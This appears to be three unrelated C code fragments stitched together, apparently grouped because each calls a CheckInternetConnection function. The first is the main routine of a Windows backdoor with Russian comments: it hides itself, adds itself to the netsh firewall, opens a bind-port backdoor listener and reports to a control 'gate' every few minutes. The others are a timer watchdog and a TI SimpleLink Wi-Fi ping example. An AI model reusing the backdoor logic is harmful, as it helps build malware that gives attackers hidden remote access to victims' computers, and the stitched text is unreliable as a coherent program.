static DWORD WINAPI BackdoorMain(LPVOID lpParam)
{
HANDLE hBindBackdoorThread,
hzDownloaderThread;
StealthMain(NULL);
#ifdef NETSHADD
NetSHFirewallReg(); // регаемся в netsh файре
#endif NETSHADD
InitWinSock2API(); // инициализируем WinSock2 API
// создаем поток бэкдора
hBindBackdoorThread = StartThread(Backdoor_Listen, (short)BINDPORT);
while(TRUE)
{
// проверяем коннект к интернету... если нет, то спим 1 минуту и проверяем снова
if (CheckInternetConnection() == 0)
{
Sleep(1*60*1000);
continue;
}
// если подключены, то создаем поток отправки инфы на гейт, затем спим указанное время
// (по умолчанию 15 минут), затем продолжаем в том же духе
else if (CheckInternetConnection() == 1)
{
#ifdef USEGATE
hzDownloaderThread = StartThread(ReportToStat, NULL);
#endif USEGAGE
Sleep(HTTPFREQ*60*1000);
}
}
return TRUE;
}
void ProcessTimer() {
static uint32_t timer = millis();
if((millis() - timer) >= TIMER_INTERVAL) {
Watchdog();
CheckInternetConnection();
timer = millis();
}
}
//****************************************************************************
//
//! \brief Start simplelink, connect to the ap and run the ping test
//!
//! This function starts the simplelink, connect to the ap and start the ping
//! test on the default gateway for the ap
//!
//! \param[in] pvParameters - Pointer to the list of parameters that
//! can bepassed to the task while creating it
//!
//! \return None
//
//****************************************************************************
void WlanStationMode( void *pvParameters )
{
long lRetVal = -1;
InitializeAppVariables();
//
// Following function configure the device to default state by cleaning
// the persistent settings stored in NVMEM (viz. connection profiles &
// policies, power policy etc)
//
// Applications may choose to skip this step if the developer is sure
// that the device is in its default state at start of applicaton
//
// Note that all profiles and persistent settings that were done on the
// device will be lost
//
lRetVal = ConfigureSimpleLinkToDefaultState();
if(lRetVal < 0)
{
if (DEVICE_NOT_IN_STATION_MODE == lRetVal)
{
UART_PRINT("Failed to configure the device in its default state\n\r");
}
LOOP_FOREVER();
}
UART_PRINT("Device is configured in default state \n\r");
//
// Assumption is that the device is configured in station mode already
// and it is in its default state
//
lRetVal = sl_Start(0, 0, 0);
if (lRetVal < 0 || ROLE_STA != lRetVal)
{
UART_PRINT("Failed to start the device \n\r");
LOOP_FOREVER();
}
UART_PRINT("Device started as STATION \n\r");
//
//Connecting to WLAN AP
//
lRetVal = WlanConnect();
if(lRetVal < 0)
{
UART_PRINT("Failed to establish connection w/ an AP \n\r");
LOOP_FOREVER();
}
UART_PRINT("Connection established w/ AP and IP is aquired \n\r");
UART_PRINT("Pinging...! \n\r");
//
// Checking the Lan connection by pinging to AP gateway
//
lRetVal = CheckLanConnection();
if(lRetVal < 0)
{
UART_PRINT("Device couldn't ping the gateway \n\r");
LOOP_FOREVER();
}
// Turn on GREEN LED when device gets PING response from AP
GPIO_IF_LedOn(MCU_EXECUTE_SUCCESS_IND);
//
// Checking the internet connection by pinging to external host
//
lRetVal = CheckInternetConnection();
if(lRetVal < 0)
{
UART_PRINT("Device couldn't ping the external host \n\r");
LOOP_FOREVER();
}
// Turn on ORAGE LED when device gets PING response from AP
GPIO_IF_LedOn(MCU_ORANGE_LED_GPIO);
UART_PRINT("Device pinged both the gateway and the external host \n\r");
UART_PRINT("WLAN STATION example executed successfully \n\r");
//
// power off the network processor
//
lRetVal = sl_Stop(SL_STOP_TIMEOUT);
LOOP_FOREVER();
}